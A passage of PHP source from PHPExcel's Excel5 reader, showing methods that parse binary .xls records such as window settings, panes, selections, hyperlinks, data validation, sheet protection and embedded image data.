4); // add style information if (!$this->readDataOnly && $this->readEmptyCells) { $this->phpSheet->getCell($columnString . ($row + 1))->setXfIndex($this->mapCellXfIndex[$xfIndex]); } } } /** * Read MSODRAWING record */ private function readMsoDrawing() { $length = self::getInt2d($this->data, $this->pos + 2); // get spliced record data $splicedRecordData = $this->getSplicedRecordData(); $recordData = $splicedRecordData['recordData']; $this->drawingData .= $recordData; } /** * Read OBJ record */ private function readObj() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly || $this->version != self::XLS_BIFF8) { return; } // recordData consists of an array of subrecords looking like this: // ft: 2 bytes; ftCmo type (0x15) // cb: 2 bytes; size in bytes of ftCmo data // ot: 2 bytes; Object Type // id: 2 bytes; Object id number // grbit: 2 bytes; Option Flags // data: var; subrecord data // for now, we are just interested in the second subrecord containing the object type $ftCmoType = self::getInt2d($recordData, 0); $cbCmoSize = self::getInt2d($recordData, 2); $otObjType = self::getInt2d($recordData, 4); $idObjID = self::getInt2d($recordData, 6); $grbitOpts = self::getInt2d($recordData, 6); $this->objs[] = array( 'ftCmoType' => $ftCmoType, 'cbCmoSize' => $cbCmoSize, 'otObjType' => $otObjType, 'idObjID' => $idObjID, 'grbitOpts' => $grbitOpts ); $this->textObjRef = $idObjID; // echo '<b>_readObj()</b><br />'; // var_dump(end($this->objs)); // echo '<br />'; } /** * Read WINDOW2 record */ private function readWindow2() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; option flags $options = self::getInt2d($recordData, 0); // offset: 2; size: 2; index to first visible row $firstVisibleRow = self::getInt2d($recordData, 2); // offset: 4; size: 2; index to first visible colum $firstVisibleColumn = self::getInt2d($recordData, 4); if ($this->version === self::XLS_BIFF8) { // offset: 8; size: 2; not used // offset: 10; size: 2; cached magnification factor in page break preview (in percent); 0 = Default (60%) // offset: 12; size: 2; cached magnification factor in normal view (in percent); 0 = Default (100%) // offset: 14; size: 4; not used $zoomscaleInPageBreakPreview = self::getInt2d($recordData, 10); if ($zoomscaleInPageBreakPreview === 0) { $zoomscaleInPageBreakPreview = 60; } $zoomscaleInNormalView = self::getInt2d($recordData, 12); if ($zoomscaleInNormalView === 0) { $zoomscaleInNormalView = 100; } } // bit: 1; mask: 0x0002; 0 = do not show gridlines, 1 = show gridlines $showGridlines = (bool) ((0x0002 & $options) >> 1); $this->phpSheet->setShowGridlines($showGridlines); // bit: 2; mask: 0x0004; 0 = do not show headers, 1 = show headers $showRowColHeaders = (bool) ((0x0004 & $options) >> 2); $this->phpSheet->setShowRowColHeaders($showRowColHeaders); // bit: 3; mask: 0x0008; 0 = panes are not frozen, 1 = panes are frozen $this->frozen = (bool) ((0x0008 & $options) >> 3); // bit: 6; mask: 0x0040; 0 = columns from left to right, 1 = columns from right to left $this->phpSheet->setRightToLeft((bool)((0x0040 & $options) >> 6)); // bit: 10; mask: 0x0400; 0 = sheet not active, 1 = sheet active $isActive = (bool) ((0x0400 & $options) >> 10); if ($isActive) { $this->phpExcel->setActiveSheetIndex($this->phpExcel->getIndex($this->phpSheet)); } // bit: 11; mask: 0x0800; 0 = normal view, 1 = page break view $isPageBreakPreview = (bool) ((0x0800 & $options) >> 11); //FIXME: set $firstVisibleRow and $firstVisibleColumn if ($this->phpSheet->getSheetView()->getView() !== PHPExcel_Worksheet_SheetView::SHEETVIEW_PAGE_LAYOUT) { //NOTE: this setting is inferior to page layout view(Excel2007-) $view = $isPageBreakPreview ? PHPExcel_Worksheet_SheetView::SHEETVIEW_PAGE_BREAK_PREVIEW : PHPExcel_Worksheet_SheetView::SHEETVIEW_NORMAL; $this->phpSheet->getSheetView()->setView($view); if ($this->version === self::XLS_BIFF8) { $zoomScale = $isPageBreakPreview ? $zoomscaleInPageBreakPreview : $zoomscaleInNormalView; $this->phpSheet->getSheetView()->setZoomScale($zoomScale); $this->phpSheet->getSheetView()->setZoomScaleNormal($zoomscaleInNormalView); } } } /** * Read PLV Record(Created by Excel2007 or upper) */ private function readPageLayoutView() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; //var_dump(unpack("vrt/vgrbitFrt/V2reserved/vwScalePLV/vgrbit", $recordData)); // offset: 0; size: 2; rt //->ignore $rt = self::getInt2d($recordData, 0); // offset: 2; size: 2; grbitfr //->ignore $grbitFrt = self::getInt2d($recordData, 2); // offset: 4; size: 8; reserved //->ignore // offset: 12; size 2; zoom scale $wScalePLV = self::getInt2d($recordData, 12); // offset: 14; size 2; grbit $grbit = self::getInt2d($recordData, 14); // decomprise grbit $fPageLayoutView = $grbit & 0x01; $fRulerVisible = ($grbit >> 1) & 0x01; //no support $fWhitespaceHidden = ($grbit >> 3) & 0x01; //no support if ($fPageLayoutView === 1) { $this->phpSheet->getSheetView()->setView(PHPExcel_Worksheet_SheetView::SHEETVIEW_PAGE_LAYOUT); $this->phpSheet->getSheetView()->setZoomScale($wScalePLV); //set by Excel2007 only if SHEETVIEW_PAGE_LAYOUT } //otherwise, we cannot know whether SHEETVIEW_PAGE_LAYOUT or SHEETVIEW_PAGE_BREAK_PREVIEW. } /** * Read SCL record */ private function readScl() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // offset: 0; size: 2; numerator of the view magnification $numerator = self::getInt2d($recordData, 0); // offset: 2; size: 2; numerator of the view magnification $denumerator = self::getInt2d($recordData, 2); // set the zoom scale (in percent) $this->phpSheet->getSheetView()->setZoomScale($numerator * 100 / $denumerator); } /** * Read PANE record */ private function readPane() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 2; position of vertical split $px = self::getInt2d($recordData, 0); // offset: 2; size: 2; position of horizontal split $py = self::getInt2d($recordData, 2); if ($this->frozen) { // frozen panes $this->phpSheet->freezePane(PHPExcel_Cell::stringFromColumnIndex($px) . ($py + 1)); } else { // unfrozen panes; split windows; not supported by PHPExcel core } } } /** * Read SELECTION record. There is one such record for each pane in the sheet. */ private function readSelection() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 1; pane identifier $paneId = ord($recordData{0}); // offset: 1; size: 2; index to row of the active cell $r = self::getInt2d($recordData, 1); // offset: 3; size: 2; index to column of the active cell $c = self::getInt2d($recordData, 3); // offset: 5; size: 2; index into the following cell range list to the // entry that contains the active cell $index = self::getInt2d($recordData, 5); // offset: 7; size: var; cell range address list containing all selected cell ranges $data = substr($recordData, 7); $cellRangeAddressList = $this->readBIFF5CellRangeAddressList($data); // note: also BIFF8 uses BIFF5 syntax $selectedCells = $cellRangeAddressList['cellRangeAddresses'][0]; // first row '1' + last row '16384' indicates that full column is selected (apparently also in BIFF8!) if (preg_match('/^([A-Z]+1\:[A-Z]+)16384$/', $selectedCells)) { $selectedCells = preg_replace('/^([A-Z]+1\:[A-Z]+)16384$/', '${1}1048576', $selectedCells); } // first row '1' + last row '65536' indicates that full column is selected if (preg_match('/^([A-Z]+1\:[A-Z]+)65536$/', $selectedCells)) { $selectedCells = preg_replace('/^([A-Z]+1\:[A-Z]+)65536$/', '${1}1048576', $selectedCells); } // first column 'A' + last column 'IV' indicates that full row is selected if (preg_match('/^(A[0-9]+\:)IV([0-9]+)$/', $selectedCells)) { $selectedCells = preg_replace('/^(A[0-9]+\:)IV([0-9]+)$/', '${1}XFD${2}', $selectedCells); } $this->phpSheet->setSelectedCells($selectedCells); } } private function includeCellRangeFiltered($cellRangeAddress) { $includeCellRange = true; if ($this->getReadFilter() !== null) { $includeCellRange = false; $rangeBoundaries = PHPExcel_Cell::getRangeBoundaries($cellRangeAddress); $rangeBoundaries[1][0]++; for ($row = $rangeBoundaries[0][1]; $row <= $rangeBoundaries[1][1]; $row++) { for ($column = $rangeBoundaries[0][0]; $column != $rangeBoundaries[1][0]; $column++) { if ($this->getReadFilter()->readCell($column, $row, $this->phpSheet->getTitle())) { $includeCellRange = true; break 2; } } } } return $includeCellRange; } /** * MERGEDCELLS * * This record contains the addresses of merged cell ranges * in the current sheet. * * -- "OpenOffice.org's Documentation of the Microsoft * Excel File Format" */ private function readMergedCells() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->version == self::XLS_BIFF8 && !$this->readDataOnly) { $cellRangeAddressList = $this->readBIFF8CellRangeAddressList($recordData); foreach ($cellRangeAddressList['cellRangeAddresses'] as $cellRangeAddress) { if ((strpos($cellRangeAddress, ':') !== false) && ($this->includeCellRangeFiltered($cellRangeAddress))) { $this->phpSheet->mergeCells($cellRangeAddress); } } } } /** * Read HYPERLINK record */ private function readHyperLink() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer forward to next record $this->pos += 4 + $length; if (!$this->readDataOnly) { // offset: 0; size: 8; cell range address of all cells containing this hyperlink try { $cellRange = $this->readBIFF8CellRangeAddressFixed($recordData, 0, 8); } catch (PHPExcel_Exception $e) { return; } // offset: 8, size: 16; GUID of StdLink // offset: 24, size: 4; unknown value // offset: 28, size: 4; option flags // bit: 0; mask: 0x00000001; 0 = no link or extant, 1 = file link or URL $isFileLinkOrUrl = (0x00000001 & self::getInt2d($recordData, 28)) >> 0; // bit: 1; mask: 0x00000002; 0 = relative path, 1 = absolute path or URL $isAbsPathOrUrl = (0x00000001 & self::getInt2d($recordData, 28)) >> 1; // bit: 2 (and 4); mask: 0x00000014; 0 = no description $hasDesc = (0x00000014 & self::getInt2d($recordData, 28)) >> 2; // bit: 3; mask: 0x00000008; 0 = no text, 1 = has text $hasText = (0x00000008 & self::getInt2d($recordData, 28)) >> 3; // bit: 7; mask: 0x00000080; 0 = no target frame, 1 = has target frame $hasFrame = (0x00000080 & self::getInt2d($recordData, 28)) >> 7; // bit: 8; mask: 0x00000100; 0 = file link or URL, 1 = UNC path (inc. server name) $isUNC = (0x00000100 & self::getInt2d($recordData, 28)) >> 8; // offset within record data $offset = 32; if ($hasDesc) { // offset: 32; size: var; character count of description text $dl = self::getInt4d($recordData, 32); // offset: 36; size: var; character array of description text, no Unicode string header, always 16-bit characters, zero terminated $desc = self::encodeUTF16(substr($recordData, 36, 2 * ($dl - 1)), false); $offset += 4 + 2 * $dl; } if ($hasFrame) { $fl = self::getInt4d($recordData, $offset); $offset += 4 + 2 * $fl; } // detect type of hyperlink (there are 4 types) $hyperlinkType = null; if ($isUNC) { $hyperlinkType = 'UNC'; } elseif (!$isFileLinkOrUrl) { $hyperlinkType = 'workbook'; } elseif (ord($recordData{$offset}) == 0x03) { $hyperlinkType = 'local'; } elseif (ord($recordData{$offset}) == 0xE0) { $hyperlinkType = 'URL'; } switch ($hyperlinkType) { case 'URL': // section 5.58.2: Hyperlink containing a URL // e.g. http://example.org/index.php // offset: var; size: 16; GUID of URL Moniker $offset += 16; // offset: var; size: 4; size (in bytes) of character array of the URL including trailing zero word $us = self::getInt4d($recordData, $offset); $offset += 4; // offset: var; size: $us; character array of the URL, no Unicode string header, always 16-bit characters, zero-terminated $url = self::encodeUTF16(substr($recordData, $offset, $us - 2), false); $nullOffset = strpos($url, 0x00); if ($nullOffset) { $url = substr($url, 0, $nullOffset); } $url .= $hasText ? '#' : ''; $offset += $us; break; case 'local': // section 5.58.3: Hyperlink to local file // examples: // mydoc.txt // ../../somedoc.xls#Sheet!A1 // offset: var; size: 16; GUI of File Moniker $offset += 16; // offset: var; size: 2; directory up-level count. $upLevelCount = self::getInt2d($recordData, $offset); $offset += 2; // offset: var; size: 4; character count of the shortened file path and name, including trailing zero word $sl = self::getInt4d($recordData, $offset); $offset += 4; // offset: var; size: sl; character array of the shortened file path and name in 8.3-DOS-format (compressed Unicode string) $shortenedFilePath = substr($recordData, $offset, $sl); $shortenedFilePath = self::encodeUTF16($shortenedFilePath, true); $shortenedFilePath = substr($shortenedFilePath, 0, -1); // remove trailing zero $offset += $sl; // offset: var; size: 24; unknown sequence $offset += 24; // extended file path // offset: var; size: 4; size of the following file link field including string lenth mark $sz = self::getInt4d($recordData, $offset); $offset += 4; // only present if $sz > 0 if ($sz > 0) { // offset: var; size: 4; size of the character array of the extended file path and name $xl = self::getInt4d($recordData, $offset); $offset += 4; // offset: var; size 2; unknown $offset += 2; // offset: var; size $xl; character array of the extended file path and name. $extendedFilePath = substr($recordData, $offset, $xl); $extendedFilePath = self::encodeUTF16($extendedFilePath, false); $offset += $xl; } // construct the path $url = str_repeat('..\\', $upLevelCount); $url .= ($sz > 0) ? $extendedFilePath : $shortenedFilePath; // use extended path if available $url .= $hasText ? '#' : ''; break; case 'UNC': // section 5.58.4: Hyperlink to a File with UNC (Universal Naming Convention) Path // todo: implement return; case 'workbook': // section 5.58.5: Hyperlink to the Current Workbook // e.g. Sheet2!B1:C2, stored in text mark field $url = 'sheet://'; break; default: return; } if ($hasText) { // offset: var; size: 4; character count of text mark including trailing zero word $tl = self::getInt4d($recordData, $offset); $offset += 4; // offset: var; size: var; character array of the text mark without the # sign, no Unicode header, always 16-bit characters, zero-terminated $text = self::encodeUTF16(substr($recordData, $offset, 2 * ($tl - 1)), false); $url .= $text; } // apply the hyperlink to all the relevant cells foreach (PHPExcel_Cell::extractAllCellReferencesInRange($cellRange) as $coordinate) { $this->phpSheet->getCell($coordinate)->getHyperLink()->setUrl($url); } } } /** * Read DATAVALIDATIONS record */ private function readDataValidations() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer forward to next record $this->pos += 4 + $length; } /** * Read DATAVALIDATION record */ private function readDataValidation() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer forward to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // offset: 0; size: 4; Options $options = self::getInt4d($recordData, 0); // bit: 0-3; mask: 0x0000000F; type $type = (0x0000000F & $options) >> 0; switch ($type) { case 0x00: $type = PHPExcel_Cell_DataValidation::TYPE_NONE; break; case 0x01: $type = PHPExcel_Cell_DataValidation::TYPE_WHOLE; break; case 0x02: $type = PHPExcel_Cell_DataValidation::TYPE_DECIMAL; break; case 0x03: $type = PHPExcel_Cell_DataValidation::TYPE_LIST; break; case 0x04: $type = PHPExcel_Cell_DataValidation::TYPE_DATE; break; case 0x05: $type = PHPExcel_Cell_DataValidation::TYPE_TIME; break; case 0x06: $type = PHPExcel_Cell_DataValidation::TYPE_TEXTLENGTH; break; case 0x07: $type = PHPExcel_Cell_DataValidation::TYPE_CUSTOM; break; } // bit: 4-6; mask: 0x00000070; error type $errorStyle = (0x00000070 & $options) >> 4; switch ($errorStyle) { case 0x00: $errorStyle = PHPExcel_Cell_DataValidation::STYLE_STOP; break; case 0x01: $errorStyle = PHPExcel_Cell_DataValidation::STYLE_WARNING; break; case 0x02: $errorStyle = PHPExcel_Cell_DataValidation::STYLE_INFORMATION; break; } // bit: 7; mask: 0x00000080; 1= formula is explicit (only applies to list) // I have only seen cases where this is 1 $explicitFormula = (0x00000080 & $options) >> 7; // bit: 8; mask: 0x00000100; 1= empty cells allowed $allowBlank = (0x00000100 & $options) >> 8; // bit: 9; mask: 0x00000200; 1= suppress drop down arrow in list type validity $suppressDropDown = (0x00000200 & $options) >> 9; // bit: 18; mask: 0x00040000; 1= show prompt box if cell selected $showInputMessage = (0x00040000 & $options) >> 18; // bit: 19; mask: 0x00080000; 1= show error box if invalid values entered $showErrorMessage = (0x00080000 & $options) >> 19; // bit: 20-23; mask: 0x00F00000; condition operator $operator = (0x00F00000 & $options) >> 20; switch ($operator) { case 0x00: $operator = PHPExcel_Cell_DataValidation::OPERATOR_BETWEEN; break; case 0x01: $operator = PHPExcel_Cell_DataValidation::OPERATOR_NOTBETWEEN; break; case 0x02: $operator = PHPExcel_Cell_DataValidation::OPERATOR_EQUAL; break; case 0x03: $operator = PHPExcel_Cell_DataValidation::OPERATOR_NOTEQUAL; break; case 0x04: $operator = PHPExcel_Cell_DataValidation::OPERATOR_GREATERTHAN; break; case 0x05: $operator = PHPExcel_Cell_DataValidation::OPERATOR_LESSTHAN; break; case 0x06: $operator = PHPExcel_Cell_DataValidation::OPERATOR_GREATERTHANOREQUAL; break; case 0x07: $operator = PHPExcel_Cell_DataValidation::OPERATOR_LESSTHANOREQUAL; break; } // offset: 4; size: var; title of the prompt box $offset = 4; $string = self::readUnicodeStringLong(substr($recordData, $offset)); $promptTitle = $string['value'] !== chr(0) ? $string['value'] : ''; $offset += $string['size']; // offset: var; size: var; title of the error box $string = self::readUnicodeStringLong(substr($recordData, $offset)); $errorTitle = $string['value'] !== chr(0) ? $string['value'] : ''; $offset += $string['size']; // offset: var; size: var; text of the prompt box $string = self::readUnicodeStringLong(substr($recordData, $offset)); $prompt = $string['value'] !== chr(0) ? $string['value'] : ''; $offset += $string['size']; // offset: var; size: var; text of the error box $string = self::readUnicodeStringLong(substr($recordData, $offset)); $error = $string['value'] !== chr(0) ? $string['value'] : ''; $offset += $string['size']; // offset: var; size: 2; size of the formula data for the first condition $sz1 = self::getInt2d($recordData, $offset); $offset += 2; // offset: var; size: 2; not used $offset += 2; // offset: var; size: $sz1; formula data for first condition (without size field) $formula1 = substr($recordData, $offset, $sz1); $formula1 = pack('v', $sz1) . $formula1; // prepend the length try { $formula1 = $this->getFormulaFromStructure($formula1); // in list type validity, null characters are used as item separators if ($type == PHPExcel_Cell_DataValidation::TYPE_LIST) { $formula1 = str_replace(chr(0), ',', $formula1); } } catch (PHPExcel_Exception $e) { return; } $offset += $sz1; // offset: var; size: 2; size of the formula data for the first condition $sz2 = self::getInt2d($recordData, $offset); $offset += 2; // offset: var; size: 2; not used $offset += 2; // offset: var; size: $sz2; formula data for second condition (without size field) $formula2 = substr($recordData, $offset, $sz2); $formula2 = pack('v', $sz2) . $formula2; // prepend the length try { $formula2 = $this->getFormulaFromStructure($formula2); } catch (PHPExcel_Exception $e) { return; } $offset += $sz2; // offset: var; size: var; cell range address list with $cellRangeAddressList = $this->readBIFF8CellRangeAddressList(substr($recordData, $offset)); $cellRangeAddresses = $cellRangeAddressList['cellRangeAddresses']; foreach ($cellRangeAddresses as $cellRange) { $stRange = $this->phpSheet->shrinkRangeToFit($cellRange); foreach (PHPExcel_Cell::extractAllCellReferencesInRange($stRange) as $coordinate) { $objValidation = $this->phpSheet->getCell($coordinate)->getDataValidation(); $objValidation->setType($type); $objValidation->setErrorStyle($errorStyle); $objValidation->setAllowBlank((bool)$allowBlank); $objValidation->setShowInputMessage((bool)$showInputMessage); $objValidation->setShowErrorMessage((bool)$showErrorMessage); $objValidation->setShowDropDown(!$suppressDropDown); $objValidation->setOperator($operator); $objValidation->setErrorTitle($errorTitle); $objValidation->setError($error); $objValidation->setPromptTitle($promptTitle); $objValidation->setPrompt($prompt); $objValidation->setFormula1($formula1); $objValidation->setFormula2($formula2); } } } /** * Read SHEETLAYOUT record. Stores sheet tab color information. */ private function readSheetLayout() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // local pointer in record data $offset = 0; if (!$this->readDataOnly) { // offset: 0; size: 2; repeated record identifier 0x0862 // offset: 2; size: 10; not used // offset: 12; size: 4; size of record data // Excel 2003 uses size of 0x14 (documented), Excel 2007 uses size of 0x28 (not documented?) $sz = self::getInt4d($recordData, 12); switch ($sz) { case 0x14: // offset: 16; size: 2; color index for sheet tab $colorIndex = self::getInt2d($recordData, 16); $color = PHPExcel_Reader_Excel5_Color::map($colorIndex, $this->palette, $this->version); $this->phpSheet->getTabColor()->setRGB($color['rgb']); break; case 0x28: // TODO: Investigate structure for .xls SHEETLAYOUT record as saved by MS Office Excel 2007 return; break; } } } /** * Read SHEETPROTECTION record (FEATHEADR) */ private function readSheetProtection() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; if ($this->readDataOnly) { return; } // offset: 0; size: 2; repeated record header // offset: 2; size: 2; FRT cell reference flag (=0 currently) // offset: 4; size: 8; Currently not used and set to 0 // offset: 12; size: 2; Shared feature type index (2=Enhanced Protetion, 4=SmartTag) $isf = self::getInt2d($recordData, 12); if ($isf != 2) { return; } // offset: 14; size: 1; =1 since this is a feat header // offset: 15; size: 4; size of rgbHdrSData // rgbHdrSData, assume "Enhanced Protection" // offset: 19; size: 2; option flags $options = self::getInt2d($recordData, 19); // bit: 0; mask 0x0001; 1 = user may edit objects, 0 = users must not edit objects $bool = (0x0001 & $options) >> 0; $this->phpSheet->getProtection()->setObjects(!$bool); // bit: 1; mask 0x0002; edit scenarios $bool = (0x0002 & $options) >> 1; $this->phpSheet->getProtection()->setScenarios(!$bool); // bit: 2; mask 0x0004; format cells $bool = (0x0004 & $options) >> 2; $this->phpSheet->getProtection()->setFormatCells(!$bool); // bit: 3; mask 0x0008; format columns $bool = (0x0008 & $options) >> 3; $this->phpSheet->getProtection()->setFormatColumns(!$bool); // bit: 4; mask 0x0010; format rows $bool = (0x0010 & $options) >> 4; $this->phpSheet->getProtection()->setFormatRows(!$bool); // bit: 5; mask 0x0020; insert columns $bool = (0x0020 & $options) >> 5; $this->phpSheet->getProtection()->setInsertColumns(!$bool); // bit: 6; mask 0x0040; insert rows $bool = (0x0040 & $options) >> 6; $this->phpSheet->getProtection()->setInsertRows(!$bool); // bit: 7; mask 0x0080; insert hyperlinks $bool = (0x0080 & $options) >> 7; $this->phpSheet->getProtection()->setInsertHyperlinks(!$bool); // bit: 8; mask 0x0100; delete columns $bool = (0x0100 & $options) >> 8; $this->phpSheet->getProtection()->setDeleteColumns(!$bool); // bit: 9; mask 0x0200; delete rows $bool = (0x0200 & $options) >> 9; $this->phpSheet->getProtection()->setDeleteRows(!$bool); // bit: 10; mask 0x0400; select locked cells $bool = (0x0400 & $options) >> 10; $this->phpSheet->getProtection()->setSelectLockedCells(!$bool); // bit: 11; mask 0x0800; sort cell range $bool = (0x0800 & $options) >> 11; $this->phpSheet->getProtection()->setSort(!$bool); // bit: 12; mask 0x1000; auto filter $bool = (0x1000 & $options) >> 12; $this->phpSheet->getProtection()->setAutoFilter(!$bool); // bit: 13; mask 0x2000; pivot tables $bool = (0x2000 & $options) >> 13; $this->phpSheet->getProtection()->setPivotTables(!$bool); // bit: 14; mask 0x4000; select unlocked cells $bool = (0x4000 & $options) >> 14; $this->phpSheet->getProtection()->setSelectUnlockedCells(!$bool); // offset: 21; size: 2; not used } /** * Read RANGEPROTECTION record * Reading of this record is based on Microsoft Office Excel 97-2000 Binary File Format Specification, * where it is referred to as FEAT record */ private function readRangeProtection() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // move stream pointer to next record $this->pos += 4 + $length; // local pointer in record data $offset = 0; if (!$this->readDataOnly) { $offset += 12; // offset: 12; size: 2; shared feature type, 2 = enhanced protection, 4 = smart tag $isf = self::getInt2d($recordData, 12); if ($isf != 2) { // we only read FEAT records of type 2 return; } $offset += 2; $offset += 5; // offset: 19; size: 2; count of ref ranges this feature is on $cref = self::getInt2d($recordData, 19); $offset += 2; $offset += 6; // offset: 27; size: 8 * $cref; list of cell ranges (like in hyperlink record) $cellRanges = array(); for ($i = 0; $i < $cref; ++$i) { try { $cellRange = $this->readBIFF8CellRangeAddressFixed(substr($recordData, 27 + 8 * $i, 8)); } catch (PHPExcel_Exception $e) { return; } $cellRanges[] = $cellRange; $offset += 8; } // offset: var; size: var; variable length of feature specific data $rgbFeat = substr($recordData, $offset); $offset += 4; // offset: var; size: 4; the encrypted password (only 16-bit although field is 32-bit) $wPassword = self::getInt4d($recordData, $offset); $offset += 4; // Apply range protection to sheet if ($cellRanges) { $this->phpSheet->protectCells(implode(' ', $cellRanges), strtoupper(dechex($wPassword)), true); } } } /** * Read IMDATA record */ private function readImData() { $length = self::getInt2d($this->data, $this->pos + 2); // get spliced record data $splicedRecordData = $this->getSplicedRecordData(); $recordData = $splicedRecordData['recordData']; // UNDER CONSTRUCTION // offset: 0; size: 2; image format $cf = self::getInt2d($recordData, 0); // offset: 2; size: 2; environment from which the file was written $env = self::getInt2d($recordData, 2); // offset: 4; size: 4; length of the image data $lcb = self::getInt4d($recordData, 4); // offset: 8; size: var; image data $iData = substr($recordData, 8); switch ($cf) { case 0x09: // Windows bitmap format // BITMAPCOREINFO // 1. BITMAPCOREHEADER // offset: 0; size: 4; bcSize, Specifies the number of bytes required by the structure $bcSize = self::getInt4d($iData, 0); // var_dump($bcSize); // offset: 4; size: 2; bcWidth, specifies the width of the bitmap, in pixels $bcWidth = self::getInt2d($iData, 4); // var_dump($bcWidth); // offset: 6; size: 2; bcHeight, specifies the height of the bitmap, in pixels. $bcHeight = self::getInt2d($iData, 6); // var_dump($bcHeight); $ih = imagecreatetruecolor($bcWidth, $bcHeight); // offset: 8; size: 2; bcPlanes, specifies the number of planes for the target device. This value must be 1 // offset: 10; size: 2; bcBitCount specifies the number of bits-per-pixel. This value must be 1, 4, 8, or 24 $bcBitCount = self::getInt2d($iData, 10); // var_dump($bcBitCount); $rgbString = substr($iData, 12); $rgbTriples = array(); while (strlen($rgbString) > 0) { $rgbTriples[] = unpack('Cb/Cg/Cr', $rgbString); $rgbString = substr($rgbString, 3); } $x = 0; $y = 0; foreach ($rgbTriples as $i => $rgbTriple) { $color = imagecolorallocate($ih, $rgbTriple['r'], $rgbTriple['g'], $rgbTriple['b']); imagesetpixel($ih, $x, $bcHeight - 1 - $y, $color); $x = ($x + 1) % $bcWidth; $y = $y + floor(($x + 1) / $bcWidth); } //imagepng($ih, 'image.png'); $drawing = new PHPExcel_Worksheet_Drawing(); $drawing->setPath($filename); $drawing->setWorksheet($this->phpSheet); break; case 0x02: // Windows metafile or Macintosh PICT format case 0x0e: // native format default: break; } // getSplicedRecordData() takes care of moving current position in data stream } /** * Read a free CONTINUE record. Free CONTINUE record may be a camouflaged MSODRAWING record * When MSODRAWING data on a sheet exceeds 8224 bytes, CONTINUE records are used instead. Undocumented. * In this case, we must treat the CONTINUE record as a MSODRAWING record */ private function readContinue() { $length = self::getInt2d($this->data, $this->pos + 2); $recordData = $this->readRecordData($this->data, $this->pos + 4, $length); // check if we are reading drawing data // this is in case a free CONTINUE record occurs in other circumstances we are unaware of if ($this->drawingData == '') { // move stream pointer to next record $this->pos += 4 + $length; return; } // check if record data is at least 4 bytes long, otherwise there is no chance this is MSODRAWING data if ($length < 4) { // move stream pointer to next record $this->pos += 4 + $length; return; } // dirty check to see if CONTINUE record could be a camouflaged MSODRAWING record // look inside CONTINUE record to see if it looks like a part of an Escher stream // we know that Escher stream may be split at least at // 0xF003 MsofbtSpgrContainer // 0xF004 MsofbtSpContainer // 0xF00D MsofbtClientTextbox $validSplitPoints = array(0xF003, 0xF004, 0xF00D); // add identifiers if we find more $splitPoint = self::getInt2d($recordData, 2); if (in_array($splitPoint, $validSplitPoints)) { // get spliced record data (and move pointer to next record) $splicedRecordData = $this->getSplicedRecordData(); $this->drawingData .= $splicedRecordData['recordData']; return; } // move stream pointer to next record $this->pos += 4 + $length; } /** * Reads a record from current position in data stream and continues reading data as long as CONTINUE * records are found. Splices the record data pieces and returns the combined string as if record data * is in one piece. * Moves to next current position in data stream to start of next record different from a CONtINUE record * * @return array */ private function getSplicedRecordData() { $data = ''; $spliceOffsets = array(); $i = 0; $spliceOffsets[0] = 0; do { ++$i; // offset: 0; size: 2; identifier $identifier = self::getInt2d($this->data, $this->pos); // offset: 2; size: 2; length $length = self::getInt2d($this->data, $this->pos + 2); $data .= $this->readRecordData($this->data, $this->pos + 4, $length); $spliceOffsets[$i] = $spliceOffsets[$i - 1] + $length; $this->pos += 4 + $length; $nextIdentifier = self::getInt2d($this->data, $this->pos); } while ($nextIdentifier == self::XLS_TYPE_CONTINUE); $splicedData = array( 'recordData' => $data, 'spliceOffsets' => $spliceOffsets, ); return $splicedData; } /** * Convert formula structure into human readable Excel formula like 'A3+A5*5' * * @param string $formulaStructure The complete binary data for the formula * @param string $baseCell Base cell, only needed when formula contains tRefN tokens, e.g. with shared formulas * @return string Human readable formula */ private function getFormulaFromStructure($formulaStructure, $baseCell = 'A1') { // offset: 0; size: 2; size of the following formula data $sz = self::getInt2d($formulaStructure, 0); // offset: 2; size: sz $formulaData = substr($formulaStructure, 2, $sz); // for debug: dump the formula data //echo '<xmp>'; //echo 'size: ' . $sz . "\n"; //echo 'the entire formula data: '; //Debug::dump($formulaData); //echo "\n----\n"; // offset: 2 + sz; size: variable (optional) if (strlen($formulaStructure) > 2 + $sz) { $additionalData = substr($formulaStructure, 2 + $sz); // for debug: dump the additional data //echo 'the entire additional data: '; //Debug::dump($additionalData); //echo "\n----\n"; } else { $additionalData = ''; } return $this->getFormulaFromData($formulaData, $additionalData, $baseCell); } /** * Take formula data and additional data for formula and return human readable formula * * @param string $formulaData The binary data for the formula itself * @param string $additionalData Additional binary data going with the formula * @param string $baseCell Base cell, only needed when formula contains tRefN tokens, e.g. with shared formulas * @return string Human readable formula */ private function getFormulaFromData($formulaData, $additionalData = '', $baseCell = 'A1') 